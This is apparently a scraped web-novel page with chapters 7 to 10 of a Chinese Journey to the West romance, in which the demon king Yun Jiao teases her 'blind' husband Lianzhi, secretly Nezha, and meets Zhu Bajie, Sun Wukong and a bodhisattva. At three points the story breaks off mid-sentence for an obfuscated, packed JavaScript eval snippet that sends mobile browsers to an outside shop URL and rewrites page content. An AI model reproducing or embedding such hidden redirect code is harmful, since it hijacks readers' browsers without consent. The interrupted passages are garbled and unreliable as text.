《[西游]捡的柔弱夫君是哪吒》 7. 正经夫妻 云皎醒来时,呆了呆。 昨夜她是怎么睡着的?怎么全无记忆! 唯余……她面色蓦地烧了起来,回想梦里的满目软红、烛影摇动,她与她新找的夫君按避火图上的种种姿势痴缠,有的还很高难度,实在是…… 只恨不是真的! 云皎确信那些是假的,修炼这么久,若连虚实都分不清,还当什么妖王。 但不知为何,四肢酸软的感触却很真,她一怔,狐疑地往自己腕上看,果真瞧见斑驳的红痕。 谁干的? “误雪!”她扬声唤人。 不仅如此,腿间似乎……? 云皎拧眉,她是不是来癸水了?稀奇事,修仙后都百来年没有过了,心下一动,便掀开亵裤一角。 “等、等会儿,别进来!”看清后,她猛地并拢双腿,整个人僵住,脸上红晕更深,眸中闪过一丝难以置信。 误雪在外头唤她:“大王?” 云皎花了五分钟才接受自己“春.梦之后竟真有实感”的冲击。 翻身下榻,她施了个净身决,走到铜镜前,总觉得唇上也隐隐刺痛发热。 果真发觉自己唇边有个小伤口,浅浅一道划痕。 “嘶……”她心里有个猜想,知道是哪个倒霉玩意干的。 推门出去,误雪还候在外头,云皎气势汹汹:“那个凡人——咳,莲之呢?” 气得都要把他名字忘了。 瞧她双颊如霞,眸色潋滟,误雪微怔道:“郎君一早起身,白菰命他听规矩去了。” “规矩?”什么规矩,当她夫君又不是来这儿上班。 “白菰说要做大王山的郎君,不是易事,需通晓侍奉之道。”误雪也知道些,“凡界女子三从四德,他虽是男子,亦是凡人,自该遵从。晨起备朝食,伺候梳洗更衣,夜间掌灯研磨,时刻关怀大王,悉心照料起居……” 若说云皎曾是个现代人,不兴这种封建做派,那就错了。 谁能坐龙椅上了还不当皇帝啊! 她啧啧赞同,起初还点点头,听到后面却烦了,“什么,一大早来扰我清梦?划掉,不要,我不吃早膳,也不要别人给我穿衣服,晚上更是私人时间不能来烦我——” 唉,云皎!有皇帝命也不懂享受。 云皎唾弃自己忒没出息。 最终,她摆摆手:“先不说这些了,叫他来见我。” 误雪的目光却倏地凝在她唇上,“大王,您受伤了?” 很好,但凡再晚一秒看见,伤口都要愈合了。 云皎摸了摸唇角,误雪已转身去取药膏。 妖的自愈能力很强,若用灵力瞬息便能痊愈,但误雪爱制药,云皎也常给她试药。 一方面还盘算着旁的事,云皎便不多推拒。 另几个小妖领命,很快将“莲之”带了回来,白菰也随之跟来。 他到时,云皎正仰着脸,微微启唇。 误雪指尖蘸取莹润药膏,小心涂抹在她唇角上。那伤口细小,却因她唇瓣饱满粉润,和内里若隐若现的猩红舌尖,平添几分旖旎。 哪吒脚步微顿,她何时受了伤? 云皎恰好侧目看来,见他袖口沾染黢黑,白菰更是狼狈,凝眉问:“做什么了?” 白菰控诉:“大王,他把灶房烧了!” 哪吒神色淡然,也答:“为夫人做早膳。” 小妖将一碗与他袖口同色的不明黑色稠状物端上来,云皎面露嫌弃,听白菰将事由道来。 原是领他去做早膳,怎知此人厨艺奇差,碎了不少玉盏,最后也不知倒了何物入锅,“砰”得一声,烈焰冲天。 “你们怎会让个眼盲的做饭?”云皎听了也是好笑。 又瞥了眼那碗“杰作”,她当即下令,“往后都不必做了。” 众人应声,云皎朝哪吒道:“坐过来。” 他依言就近坐下,她又不满意,“坐我身边,看着你这张俊脸,我伤口才疼得轻些。” 哪吒:…… 今日他眼前仍覆白纱,朦胧中,凑得离她近了些,见那杏妖又执一方帕替她细细擦拭唇角。 那柔软唇瓣被来回碾磨,粉嫩软肉上盈着水光,像待人采撷的熟透浆果。 再抬眸,却正撞入云皎似笑非笑的桃花眼。 她抿了抿刚涂好药的唇,复又张开,压低声,“解释?” 哪吒并未移开“视线”,语气平静:“昨夜夫人劳累过度,昏睡时头似磕碰何处,发出响撞,伤口许是由此而来。” 他听她有伤,却不曾言伤在何处。 应是真盲,云皎若有所思。可见他这般坦然,毫无愧色,云皎又觉得他太过了。 “夫人伤得可重?”好半晌,见云皎不曾言语,他才问上一句。 云皎挥手屏退左右,好整以暇地欣赏了会儿他俊美无俦的侧脸线条,才慢悠悠道:“你是不是偷亲我了?吻技太差,把我嘴都咬破了。” 对方身子微僵,愕然沉默良久。 “下回想亲请直说。”她笑嘻嘻站起身,去拍他肩,“又不是不给你亲,你我已是正经夫妻,何必偷偷摸摸?” 哪吒明白她有所误会,这并非坏事,不必解释云皎便能自行揭过,何乐不为? 但不知为何,他只觉心中有股郁气无法疏解。 对方的语气,轻佻又理所当然,像在逗弄一只闯祸的猫儿,而非一个可能“冒犯”了她的夫君。 他喉结滚动,压低的声线里无意露出几分冷色,“云…皎。” “怎么?”云皎眉眼盈盈,偏似得意,“亲美女你还委屈上了?敢做不敢当啊,又不止你长得好看,你赚啦!” 哪吒:“你——” 云皎果真是对自己的美很自得。 她美而自知,杏眸流转间眼尾轻挑,像个小勾子缠人心扉,如此鲜活灵动的飞扬神采,更显千娇百态,丰姿冶丽。 哪吒盯着她看了一会儿,未曾言语。 恰有小妖来报,福陵山有人到访。 昨夜,云皎正是被这“福陵山之人”叫去,垂眼的少年眼底渐暗。 云皎让人请进来,与哪吒错开些距离。 待小猪入内后,她便起身迎上去,将他拽到哪吒对面的位置坐下:“你怎么来了?” 猪八戒拱手:“小生有礼了,昨夜激动难眠,连夜宰了许多猪,罪过罪过,这不,干脆给大王送来……” 哦,送猪肉啊。 云皎忽地想到当年与猪八戒的初识。 彼时她有意结识他,可他是个闷骚猪,竟躲在云栈洞不见。百无聊赖下,她猎了一头黑猪开烤。 那肉骚腥得很,她随口嘟囔:“要是我,早把你阉了去……” 猪八戒被吸引而来,询她:“这位大王,猪肉如何做才好吃?” 猪吃猪,也不是不可以。 现世已有劁猪术,只是猪不知,云皎遂将此术倾囊相授,又送他调料无数,建立了友好交流,从此猪八戒开启了大规模养猪及吃猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16171790|180710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生活,好不快活。 大王山的猪肉供应商也成了他。 “来得正好!昨日喜宴刚把存肉吃光。”云皎大笑,又转头唤哪吒,“——对了,莲之,你抬起头来。” 猪八戒就说哪来的寒气激得他猪鬃微竖,这才察觉旁边坐了个人。 谪仙般的少年,一身素袍,温润的颜色,偏被他穿出料峭寒意。 猪八戒抖了抖。 “好莲之。”但云皎不愧是一方山大王,毫无所觉,依旧笑靥如花,“这我兄弟,你且将覆眼的纱取下,叫他认认脸,往后便是熟人相见了。” 哪吒垂眸,眼底玩味与薄冷交织,“兄弟?何许人也?” 猪八戒颤巍巍拱手:“小生猪刚鬣,福陵山云栈洞人士。” 哪吒“嗯”了声,曾主管天河的天蓬元帅。 有意思。 他这夫人,不单认得五行山下的孙悟空,还认得天蓬。 而他们…都是灵山钦定的西行取经人。 “昨夜你们做了何事?”他又问。 这次猪八戒欲答,云皎却将其拦下来,笑盈盈看着哪吒,“……莲之。” 虽仍含笑,却透着不容置喙之意。 她并不想让他探查昨夜她去做了什么。 哪吒心中冷笑,依言取下白纱,料定比云皎还蠢的猪八戒认不出他。 果然猪八戒根本不敢直视他的眼,含糊道:“云皎,这就是你的夫君?一表人才啊哈哈……” 云皎一顿,便不再试探,顺着话头就吹捧起哪吒的美貌。 “其实还有件大事……”猪猪忽地扭捏起来,“俺、俺老猪昨夜惊鸿一瞥,遇上命定的意中人,这便要去高老庄做女婿。” 云皎打嘴炮,“嗯?你意中人不是我吗?” 猪八戒羞涩道:“昨夜之前是你,现下不是了,俺这次遇上的是真正的梦中情人,那眉眼,性情……” 云皎这下真来精神了,啧啧称奇。 算算时日,自己才当了猪猪意中人不到三个月,他的五十个意中人里,笑死,她是最快出局的。 这合适吗?这符合一个大王的身份嘛! “原来脸盲在梦里也有一张熟记的脸吗?”云皎又疑道。 猪八戒:“当然有!况且,你不是有夫君了吗?” 猪八戒又说着昨夜她离开后,他独自吃着烤猪,忽听山下有山匪劫道,伴随少女娇呼。 他当即以“飞猪”之姿从天而降,如话本中英雄救美! 云皎还在回味猪八戒方才说的“她有夫君了”,下意识看哪吒,他在喝茶,事不关己。 转回神,她往后一靠,嘻嘻笑着,“要我就不吃这套,什么‘飞猪’,我用携程。” 面上虽笑,心里却讶然这剧情走得真快,昨天观音大士的任务才发布,今天就开始了。 “什么程?”猪八戒听不懂,却凑近她,“大王,福陵山就麻烦你多上心了……” 云皎才要说话,腰间忽有风掠过,下意识反手一抓,竟攥住了一只骨节分明的手腕。 好险,差点给夫君掰折了。 她看向突然出手拽她的少年:“夫君?” “抱歉,夫人。”哪吒薄唇轻启,“误以为此方位是茶盏。” 云皎哦了声,狐疑一瞬,不再多管。 哪吒端坐,垂眼盯着自己的手,心底闪过一丝疑惑,他为何想将云皎拽回来,叫她离那只猪远些? 少年神色莫测,终是没再阻拦。 8. 掌中之物 聊至兴起,云皎又大手一挥,命小妖呈上礼盒,塞给猪八戒几把扇子:“拿着,古风小生猪,配扇子正好!” 一面,她还对哪吒道:“夫君要不要?” 哪吒被触到手臂,顺势避开,素色衣袖拂过她绣着海棠的精致袖口。 他哂道:“旁人挑剩的,不必给我。” 云皎:???原来你是林妹妹。 猪刚鬣瞧着两人,见势不对,将云皎拉到一边,“云皎,你这夫君…气场太强,哪怕眼瞎也一副主人姿态,不是哪吒,胜似哪吒啊。” 云皎挑眉回望,少年端坐的脊背挺直如松,白纱覆眼仍掩不住凌厉气华,渊渟岳峙,不怒自威。 面上她倒没露出担忧之色,“没事,我就喜欢这款的。” 够漂亮,够劲,冷淡些怎么了?她会自己调.教出一个完美夫君的! 又想到高翠兰一事,她嘱咐猪八戒:“这回不管你真喜欢假喜欢,不能欺负人家。” 猪八戒和她在原著中了解的有点不一样,有猪心但没猪胆,一贯是搞纯爱。 但这次是命定的剧情,也不知与他从前的暗恋有无不同,身为福陵山的甲方,云皎还是提醒两句。 乙方猪供应商:“好的大王。” 她不再多言,打发他安心回去。 外厅倏地安静,小妖也退去了,仅余云皎与哪吒二人。 少年掩在白纱下的眼凝视她片刻后,便要起身。 “我让你走了?”怎知云皎抬袖,似笑非笑,纤细的腕随意搭在他肩上。 她那点力道于他而言,聊胜于无。 倒是云袖拂动间,甜润馥郁的暖香弥散开,与他惯常用的香很是不同。 “我没下令,你却起身离开,很无礼哦。” 哪吒未动,可她娇蛮的音色却将那点旖旎打断了,他回想昨夜,凉凉扯唇:“是谁新婚夜弃夫君于不顾,犹自离去,可曾有礼?” 云皎一顿,桃花眼弯起上挑,笑意更深,却并未解释。 “那又如何,我们不一样。” 上位者惯常不为行事解释,身为统御神兵的中坛元帅,哪吒深谙此理,并不在乎她会如何应对。 但他预感接下来的也不是什么好话。 “我是大王,你是谁?”果然,她挑眉。 像一种引导,更像引诱,哪吒心知肚明她要的答案,“……你的夫君。” “欸,对嘛。”她拍了拍他的肩,“整座大王山都要听我的,你身为大王夫君,最该听我的。毕竟,你是我的专属所有物,理应比旁人更顺从。” 哪吒眉心跳了跳,眼神阴沉,“夫君只是你的掌中之物?” 云皎浅笑,几乎贴上他面颊,“夫君自然逃不开我的手掌心,桀桀桀。” “……” 哪吒不欲再与她多言。 身后云皎的声音轻飘飘,却似有千钧重,“站住。” 一股奇异的力量倏然顺他掌心蔓延,流经五脏六腑,似某种禁锢术法,锁住筋络,叫他顿在原地。 他微有错愕,回想起来,云皎曾与他施过一个“同心咒”。 如今这副身躯并非他的仙身,原是会中咒的。 可他心底却无甚波澜。 还不如少女身姿摇曳,迎面香风拂来的一丝涟漪。 她眉眼鲜亮,慢悠悠踱至他身前,“你怎得如此没耐心,说几句就要走。” 哪吒微垂眸,面上虽扮眼盲,但他很轻易能捕捉到她眼底的…挑衅。 一切便很好意会。 云皎并未将昨夜之事全然揭过,她特意将他叫来—— 是想给他下马威。 可她到底年少,有几分初生牛犊不怕虎的意气,也可以说是沉不住气。 几千年前,哪吒脱胎莲花身,随军伐纣,沙场纵横,自封神之战血肉洗礼,至天庭执掌兵符,这是实打实的厮杀淬炼。天地虽殊,人心博弈之道却亘古未变。 他深知,敌人沉不住气,便是她在暴露破绽。 还谈不上是害怕他、提防他,可她有在意的事,乃至草木皆兵。 她过于在意大王山的安危。 哪吒并未惊怒,心浮气盛如云皎,才为掌中之物。 兵者,诡道也。 示弱于前,乘敌之隙。 他微垂乌眸:“大王这是何意,是莲之…何处做得不够好?” 云皎听他说这话,心里还真琢磨了一通,做得不够好?那粥确实做得不够好。 面上她仍是一副山大王的傲然姿态,吩咐着:“莲之,今日你随麦旋风下山,采买些衣物行装,我已命小妖另辟了殿室,往后你便住那儿。” 这夫君昨日来的仓促,身无长物。 大王山找不出他这般身量气度的人物,云皎也不愿委屈他穿旁人旧衣,昨日便命人赶制了新衣。 可方才他的衣袍拂过她手,那料子不差,却到底简素了。 “……是。” 果然,哪吒心想,昨夜她虽看避火图入迷,却未行逾矩之事,足见其并非真正的愚钝好色之徒。 分房而居是必然,在他意料之中。 云皎笑了笑,走来抚他脸颊。哪吒近乎是本能地想回避,却听她道:“好夫君,那你且去,我也要忙了。” 哪吒:“夫人要去何处?” 她就知道他要问,就是没把她的话放心上过。 这可不行,云皎笑意更深,“成亲之前,我便同你说过,大王山一应事你无需过问。” “不要越界,莲之。”她捏了捏他脸颊,好软,没忍住下手重了些,“晚上见。” 她的指腹温热柔软,贴在他微凉的肌肤上,激起一阵难言的属于凡躯的陌生颤栗。 的确令人不适应,但哪吒心下在思忖。 她说过这话么?并不记得。 * 云皎向白菰误雪交代好日常事宜,忽有小妖通报:鹰愁涧方向有雷霆降世,乌云密布,异端横生。 西行取经团的几处刷新点,除却五行山时有天神盯梢不便驻守,其余几地,云皎皆早布下眼线。 沙僧那边她也曾去过。 可惜沙僧是个绝世大社恐,她头一回拜访带了不少好物,还专门为他寻了一枚硕大夜明珠,想用以装点他那黄不拉几的流沙河。 结果把他吓着了,沙僧从此闭门,至多见见她的手下,与大王山签订了友好洗衣合同,让小妖得以将衣物丢入流沙河像全自动洗衣机一样滚几圈,但绝不见她。 恨!e人玩.弄i人计划失败。 云皎不再自讨没趣,专心与八戒社交,唐僧尚在岁月静好,唯余小白龙敖烈还未现身。 这不就来了嘛! 云皎杏眸一转,今日她正打算去见猴哥,鹰愁涧离那儿不远,干脆一并去了。 是故,乘风,御风往东。 五行山依然瓜果飘香,好一派原生态果厂美景。 这些都是大王山小妖所栽,方便来找猴哥顺手摘最新鲜的,若是赶不及来,猴哥出山,也能吃个饱不是? 她是如何的心意,最拎得清的大圣必然明白。 掐诀打开结界,云皎冲里头喊:“猴哥!” 很快传来回应:“小师妹!” 云皎彩裙飞扬,快步往前,将摘来的果子放他旁边,还有几袋喜糖。 孙悟空被她戴上花环, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何况这样的强法世界,落到强者手里,也不就只能听凭拿捏。 孙悟空眼睛骨碌一转,笑道:“你怎知俺老孙有正事?” 云皎明白他是听出了什么,仍然从容,正色回道:“师兄,我承师习五术玄学,奇门遁甲,能掐会算。” 须菩提祖师因材施教,她与猴哥学的本事有相同,亦有不同。 如此,自是互助相宜。 将来要发生什么,会发生什么,云皎会卜算,况且她还有剧情金手指呢! 孙悟空慧心灵性,一点便通,不再多询。 反而同她说起,“那便等着收礼吧,你不知,俺老孙的老邻居可有不少好东西,嘿嘿。” 耶,东海龙王的海藏!龙可是天性爱藏宝。 云皎是社交悍匪,也不介意真当悍匪,当即拍手:“多来点!” “好好好,挑最好的。” 云皎心神一动,又搓手道:“师兄,可否与你合个影……” “合影?” “对。”云皎又掏一枚留影珠。 孙悟空本就觉得此物有趣,偏头问:“留影之后,何用啊?” 云皎:“当然是记录美好生活!” 初见忘记合影,这次她要将猴哥的英姿挂在她的寝殿墙上! 孙悟空欣然应允,亦坦坦荡荡:“多叫你的友人瞧瞧你师兄的英姿!” “好嘞,绝对!师兄可是美猴王。” 又聊几句,云皎请辞,面色却未完全缓和,下意识望向山外。 9. 棋逢对手 五行山外,果香中浸染极淡的血腥气。 少年伫立高处,昳丽的眉眼清淡,底色却蛰伏着一丝嗜血的快意。 他漫不经心睥睨整座山峦,袖下的手轻拨指间乾坤圈,将沾染的妖血寸寸抹去。 云皎从山中结界走出,径直离开。 如彩云般的衣裙逶迤飞扬,一片赤色莲瓣自她袖间滑落,哪吒抬指,花瓣便落入他手中,灵光一拂,方才五行山中的对话立即灌入耳中。 他静静听着,渐渐地,眉梢扬起一分兴味。 越来越有意思了。 他的“夫人”,竟是孙悟空的师妹?只是不知师承何处。 难怪几十年她便能名声鹊起,大王山赫赫有名,这般行事,确如昔年同负盛名的花果山。 提及孙悟空,他目光再次扫过山影。 当日下凡他途径此处,忆及昔年对方大闹天宫的旧事,留下真身莲瓣探其踪迹,怎知最后落入了云皎手中。 孙悟空算是棋逢对手,那云皎呢? 在他手下,她又能接住几招。 若伤在他手,是会如孙悟空般横眉瞪目,还是…泫然欲泣,将那双清凌凌的眸子染上别样的旖旎神采? 哪吒思索须臾,转身离去。 * 未几,云皎去而复返,神色凝肃。 她环视周围,掌心微张,将先前布下的蛟丝收回手中。 ——道法玄妙,撒豆成兵,猴哥能拔毛成兵,她也能将自己的毛…哦,真身上的丝须拔下来点化成兵。 由于不知自己真身究竟是何物,暂且称为蛟丝。 入山前,她曾布下几缕蛟丝所化的假妖,不过几刻功夫,小妖就都被杀死了。 蛟丝附上妖血,本可短暂混淆视听,云皎捻着蛟丝,灵力探入便能看到它们死前惨状。 “被法器活活砸死的……”她喃喃着,皆是一击毙命的手法,伤处灵力纯然,明白这是有神仙来过了。 谁这么没公德心砸妖啊。 云皎在原地静立片刻,眸色渐沉,最终传信入五行山,告知猴哥往后不要再以师兄妹相称。 又一想,还提了句“你我相认,乃是师父交代”,才转身离开。 * 云皎往鹰愁涧而去。 路上她仍思忖着,昔年祖师算到猴哥会有大闹天宫一劫,只道弟子自有缘法造化,并未多言。 岂料天庭与灵山那般狠,竟将他压在五行山下五百年,饥劳困苦,不管不顾。 祖师,心疼了。 那么好的天才徒弟,乖乖猴哥,祖师怎么能不心疼?她也心疼啊。 二百年后她拜入祖师门下,出师前,特意央祖师卜卦,隐晦提问往后自己可还有师门缘分。 师父明了她心思,指间掐算,便道:“有。” 师父还说,她可以和师兄相认。 ——就说须菩提祖师是好师父,是猴哥与她的好师父!往后她也会好好相助猴哥的,让他的西行之旅少点负担! 思及此,云皎心头微松,步履也轻快几分。 行至一处险峻山涧,前路却被一突兀出现的摊贩拦腰截断。 云皎一噎,嗯……且不论这个拦路的意图实在太明显,还有,谁会在悬崖绝壁前摆摊啊? “这位夫人,可要看看首饰?” 摆摊的帅哥白衣胜雪,雍容似玉,含笑如春。 虽然蹊跷,云皎还是眼前一亮。 ——是白衣!如果是白毛就更好了,她喜欢。 “有什么?”云皎当即挑眉,在摊前挑挑看看,“我来瞧瞧。” 可惜摊上的首饰都平平无奇。 见云皎意兴阑珊,帅哥温言道:“夫人,我这里还有一件铜首饰、一件银首饰,一件金首饰,夫人可愿择其一?” 云皎又忍不住疑惑,这是给她干到哪儿来了,什么哲学小故事现场。 “我都要!”贪婪的妖王,答案自是如此。 帅哥轻笑摇头,“夫人,贪求过甚,难得知足。世间诸事,有舍方有得。” 是么?买个货都讲起佛理来了。 云皎唇角弯起,倒也没再纠结,毕竟道家亦有“知足常乐”之说嘛 “那我要金的。”她道。 对方却微蹙眉心,似有惋惜,“夫人当真?” “自然当真。”言罢她就掏出一锭金子,“首饰若做的精巧,自有工费,我付。” 略一思忖,又财大气粗拍出两锭,“师傅远道辛苦,路费我也付。” “请您务必挑出最好的首饰给我!”她昂首,眸光明亮,“我要送我夫君。” 白衣帅哥凝视着案上的三锭金,良久,哑然失笑,终有欣慰之意。 云皎双手合十,等待大佬给东西。 ——是了,傻子都能看出山里突然冒出来个飘飘若仙的帅哥,一定来头很大。 这可是西游世界! 但东西尚未等出来,帅哥旁侧忽地出现了一只白毛狮子狗,亲昵地蹭了蹭云皎的裙边。 “修勾?”云皎眼睛顿时巨亮,伸手去rua,这可是真的白毛! 不过白毛里还夹杂着几缕金,金闪闪的,也很好看。 考验现场秒变人与动物和谐相处的情景,男子见此,无奈含笑。 他亦看出云皎对自己身份已有所察,不说识出,至少她圆融慧黠,并不轻狂作恶。 沉吟片刻,便开门见山道:“你为凡界妖王,却非茹毛饮血之辈,南赡部州风波将起,我佛慈悲,恐你身陷杀祸,可愿立地皈依,随贫僧修行?” 菩萨自谦,总称“贫僧”。 云皎想的是——啊,看来自己的确没被编入九九八十一难啊,竟然被提前招安了,甚好。 她一面rua修勾,思量片刻,摇头:“菩萨好意,云皎心领。只是我在凡尘很自在,便不随行了。” 既已决定不再打工,不给天庭打工,当然也不给佛门打工。 云皎深暗“苟”道真谛,如这位菩萨所言,她可从不滥杀无辜,也不生事端,天庭当年搞猴哥都得师出有名,先招安他再说他擅离职守、寻衅滋事,但她不同,她躺平,谁来她都老神在在。 能奈她何? 苟着,就这样苟着,享受生活。 白衣帅哥注视她良久,最终笑道:“罢了,既非缘法,贫僧亦不强求。” 言毕,他将一枚金光熠熠的戒指交予云皎,召回狮子狗,身影如烟霭散去。 白毛狮子狗! 云皎叹惋一秒钟,再看那摊位,也如尘土消散,唯余三枚金锭原封不动。 佛门不收黄白之物,可对方给出的首饰却好极,成色上佳,上头还篆刻着许多漂亮莲纹,清雅别致。 与莲之很相宜,云皎笑意盈然,她是真想给柔弱的夫君求个宝贝。 顺手将金锭揣回袖中,她再度合十,遥遥一礼。 佛门讲缘法,道法求自然,但行至此处,往鹰愁涧而去的意兴已全然散去,两者皆合了。 无缘法,不自然。 她心下雪亮,此乃天意阻她去见小白龙,这种事从前也发生过,能让你见的不会拦你,不许你见的你怎么也见不着,便不再强求,转道回大王山。 * e人精力充沛,回山时,听闻麦乐鸡正在制作“麦乐鸡”,云皎也馋,当即决定今晚设宴。 莲之也随麦旋风回来了。 彼时云皎正指挥小妖们将新菜呈上,见了莲之,笑靥如花,“夫君,你回来了!” 她全没将白日那点称不上嫌隙的事放心上,唤声热情,可细听之下,并无甚情意,与招呼一个小妖毫无区分。 哪吒应声,很快被云皎拉入座,听她介绍着桌上菜式。 少女声线明亮如铃,且顿挫分明,条理清晰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16171792|180710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很易听进去。 哪吒的确听得有几分认真。 桌上的菜又是新样式,还有新呈的酒,酒香扑面,醇厚之中又觉劲辣,哪怕是天庭也难酿出这般佳酿。 ——他自然不知,这是蒸馏酒,要到宋代才会出现。 见云皎兴致勃勃,讲个不停,误雪调笑道:“大王,这才一夜过去,您与郎君的感情就这般好了。” 婚宴结束后,那股甜润的香气已不在。 误雪与白菰先前同被迷了心窍,清醒后细想仍觉得怪,但见云皎接受良好,两人便也不说了。 云皎看了眼哪吒,毫无羞涩,“哈哈哈那是自然,我们是两情相悦。夫君,是不是?” 他都自己送上门了! “送上门”的哪吒:“……嗯。” 但她好似也没真把夫君放心上,很快就同手下侃天说地,好不乐乎。 灯火融融,菜色晶莹。 哪吒始终沉默,只在心中梳理这两日所获: 真身不明的妖王,兼是孙悟空的师妹,与取经人关系密切; 栖居几万妖兵的妖山,一呼百应,日常却汲汲于灶台炊烟。 与其说此乃妖魔盘踞之窟,不如说更像烟火凡城,只是其中陈设惊奇古怪……如此之地,当真值得灵山遣他亲探? “莲之?”思绪被云皎打断,“想什么呢?” 非是狐疑,更像好奇。 哪吒下意识抬眸,香袖拂过,一碟热气腾腾的佳肴已置于眼前。 “你是凡人,要好好吃饭,可还方便用膳?不如我……”云皎刚想说喂他,忽地反应过来自己这不就成服侍他了!简直倒反天罡,便话音一转,“我让麦乐鸡喂你。” 环视四周,小妖们围坐笑闹,暖意融融,如一家欢聚。 哪吒唇线微抿,淡声拒绝:“不必。” 天庭佳宴甚多,盛会当前神佛满座,食龙肝凤髓,玉液蟠桃,常是仙乐玄歌,琼香萦绕。 哪一回比不过这等凡山妖宴? “欸,那你尝尝这个。”云皎不依,“刚出炉的‘麦乐鸡’,焦黄酥脆,鲜嫩多汁,你肯定喜欢!” 此项菜品不难,云皎修仙后逐渐耳聪目明,连前世记忆里一点微末细节也能轻松记起,为她在大王山搞“发明” 提供了绝佳助力。 大王山是靠她的武力起家的,壮大却不是。 云皎复刻了许多目前朝代没有的新奇玩意,尤其吃食,这是当下最容易做到的。 若问没材料呢?怕什么!只要有法力,行四洲四海,缺什么就找什么,记录下供应商的位置,后续直接进货。 强法时代,距离是最易解决的问题。也因有法力,后续诸事也能轻快展开。 趁哪吒启唇又要回绝,云皎将鸡块塞他嘴里,笑得眼睛弯起。 强制的姿态,让哪吒咽下后微有薄怒,“你——” “你不吃饭怎得行?人是铁饭是钢,一顿不吃饿得慌。”云皎挑眉,理所当然道。 她太过得意的样子像极挑衅,可哪吒一怔,眸中竟荡漾出一丝迷茫。 肉身成圣后,饭食成了筵席上的摆设,可有可无,无人在意。无亲眷温声添菜,无友人劝慰多食,虽然他也从未有过如此温绻的回忆。 可在这样一座妖山,他却见到了。 误雪为云皎也添了一筷子菜,“大王,您爱吃的鱼片,快多吃些。” 虽不曾体会,却也意会,这如同关切。 云皎如此做,也是关切…他? 云皎应下误雪,转回头与他说话:“快多吃些,不然怎有力气行事?饭后我去你的寝殿坐坐,有礼物送你。” 行事?行何事? 少年眉眼稍淡,那丝涟漪消散,白纱掩下的眼不见情绪,“恰好,我也有礼相赠夫人。” “真的?那很好了!” “嗯。”他意味深长道。 10.微醺醉意 云皎今夜喝的不少,高度的蒸馏酒,她满饮整瓶。 喝多了便开始侃大山,遣散小妖后,她同白菰误雪说起昨夜的避火图,“是不是你们找的?为什么以前不拿给我看?” 白菰:“大王还是小孩,从前未经人事,看不懂这些。” 云皎:“看不起谁呢,我现在不是了!” 误雪:“是是是,现在不是了……” 哪吒:…… 仙妖不易酣醉,也不是谁都千杯不倒,但哪吒观云皎神色,只有两颊一丝绯红。 豪饮,海量,且乐在其中。 席散,他自然而然伸手去扶他的“夫人”,对方腰肢轻摆,步伐款款,一下扑了他满怀,还嘟囔着:“哎呀,大王我喝醉了。” 白菰:“喝醉好啊,郎君快将夫人扶回房休息。” 误雪:“…是啊。” 哪吒:…… 香风盈袖,少女体态娇软,垂眸可见其清眸若雪,只有清醒的调笑,哪有半分醉意。 他手臂未松,任由她倚靠,还听云皎提醒着:“是去你房里。” “嗯。” 另辟的寝殿就在云皎隔壁,也不知是她不放心,还是心觉夫君理应与她住在一处,哪吒并无所谓,区区妖王,无力真正监视他行踪。 其内陈设多由妖怪布置,今日他虽依言下山,但一外出便幻化假身,真身随云皎潜入五行山后,还回了趟天庭。 离开云楼宫前,心念一动,又折回去将李靖狠狠揍了一顿。 李靖见他换了副眉眼稍幼的凡躯,法力虽不及从前,竟仍有雷霆万钧之力,甚至连那玲珑宝塔都镇他不住,骇得魂飞魄散,抱头鼠窜。 “逆子,孽障!”李靖嘶声怒骂,“你既已将这具肉身剔骨剜心偿还父母,如今又为何要用?!” 如今他所用凡躯,正是当年被他弃若敝履、抛入东海的真正肉身。 彼时,他恨极这具束缚,任鱼虾啃噬、海浪消磨,眼中不见半分惋惜,唯有决绝的解脱。 可千载光阴流转,终究改变了些什么。 怨气于昔年被迫磨平,所谓肉身又何须避讳?既认塔作父,再看李靖,心中翻涌的也早非仇恨,只剩彻头彻尾的鄙夷。 手持宝塔,人不如塔。 懦夫,庸碌无为,寻道无门,不过是踩着他人尸骨攀上云霄的鸡犬之辈。 果然,瘫坐在地、浑身血污的懦夫见他无动于衷,又色厉内荏道:“本座…本座这便去请佛祖世尊主持公道,定不让你这大逆不道的小儿逍遥法外!如此猖狂,天理难容!” “法?何为法。”哪吒睨着他,唇角扯出一丝不知是讥讽还是怜悯的弧度,“相护你这懦夫的所谓孝道,所谓伦理纲常,所谓天理法度?我从不认。” “千年前,不曾认。”他缓缓摇头,“如今,更不会认。” “宝塔完好无损。”目光扫过李靖怀中紧紧护着的玲珑塔,他语气轻蔑,“伤得不过是个德不配位、庸懦无能的持塔者。你且去状告,且去佛祖面前认认清楚……” “你究竟算个什么东西。” 此趟本是因他的莲花真身还在云楼宫休养,他又去取了一瓣真身,既然事了,他踏火轮而起,径返凡界。 “那是什么东西?” 眼下,云皎的声音将他唤回神,哪吒眼见她对屏风后的物件极感兴趣。 他“眼盲”,由着云皎将他牵引而去。 “莲花?”云皎狐疑。 